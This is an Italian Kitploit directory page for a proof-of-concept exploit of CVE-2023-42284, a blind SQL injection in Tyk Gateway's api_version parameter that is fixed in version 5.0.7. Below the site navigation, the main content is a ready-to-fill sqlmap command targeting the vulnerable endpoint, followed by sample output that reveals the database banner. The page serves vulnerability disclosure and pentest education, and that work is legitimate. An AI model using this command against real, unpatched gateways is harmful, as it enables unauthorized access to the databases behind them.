Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-42284 — Prova di concetto per CVE-2023-42284 in Tyk Gateway | Kitploit
Strumenti/GitHubGitHub/andreysanyuk/cve-2023-42284
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubandreysanyuk/cve-2023-42284

CVE-2023-42284

Prova di concetto per CVE-2023-42284 in Tyk Gateway

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Disclaimer

Solo a scopo educativo!

Dettagli

Prova di concetto per CVE-2023-42284. Tyk Gateway è vulnerabile a SQL injection. Risolto nella versione 5.0.7.

Il parametro URL ‘api_version’ di "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=..." è vulnerabile a SQL injection cieca.

Sfruttamento

Utilizza sqlmap con i seguenti parametri:

root@kitploit:~
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner

Il banner del database SQL viene restituito nella risposta:

root@kitploit:~
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...
Scarica lo strumento